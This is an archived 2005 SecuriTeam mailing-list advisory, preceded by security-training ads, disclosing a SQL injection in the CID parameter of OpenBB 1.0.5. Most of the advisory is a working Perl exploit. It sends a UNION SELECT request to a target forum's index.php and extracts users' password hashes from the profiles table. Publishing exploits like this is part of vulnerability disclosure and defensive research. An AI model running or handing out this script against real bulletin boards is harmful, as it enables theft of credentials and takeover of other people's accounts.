Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[EXPL] OpenBB CID SQL Injection (Exploit)

Subject: [EXPL] OpenBB CID SQL Injection (Exploit)
Date: 20 Jul 2005 10:51:48 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  OpenBB CID SQL Injection (Exploit)
------------------------------------------------------------------------


SUMMARY

OpenBB - "is a discussion bulletin board application written in PHP. Main 
features include full customization via styles/templates, instant 
messaging, private messaging, categories, member ranks, a cache template 
system, boolean searches, thread rating, poll-based threads, moderation, 
SWF/Flash signatures, BB codes, thread notifications, ICQ/AIM messaging, 
Avatars, member lists, private forums and more."

An SQL injection vulnerability exists in OpenBB's CID parameter, by 
exploiting this vulnerability a malicious attacker can endanger OpenBB's 
database integrity.

DETAILS

Vulnerable Systems:
 * Open Bulletin Board version 1.0.5

#!/usr/bin/perl -w
  
 # OpenBB sql injection
 # tested on Open Bulletin Board 1.0.5 with mysql
 # (c)oded by x97Rang 2005 RST/GHC
 # Gr33tz:  __blf, 1dt.w0lf
  
 use IO::Socket;
  
 if (@ARGV != 3)
 {
    print "\nUsage: $0 [server] [path] [id]\n";
    print "like $0 forum.mysite.com / 1\n";
    print "If found nothing - forum NOT vulnerable\n\n";
    exit ();
 }
  
 $server = $ARGV[0];
 $path = $ARGV[1];
 $id = $ARGV[2];
  
 $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",  
PeerPort => "80");
 printf $socket ("GET %sindex.php?CID=999+union+select+1,". 
"1,password,1,1,1,1,1,1,1,1,id,". "1+from+profiles+where+id=". "$id/* 
HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n",
  $path,$server,$id);
  
 while(<$socket>)
 {
     if (/\>(\w{32})\</) { print "$1\n"; }
 }


ADDITIONAL INFORMATION

The original article can be found at:  
<http://rst.void.ru/download/r57openbb.txt> 
http://rst.void.ru/download/r57openbb.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [EXPL] OpenBB CID SQL Injection (Exploit), SecuriTeam <=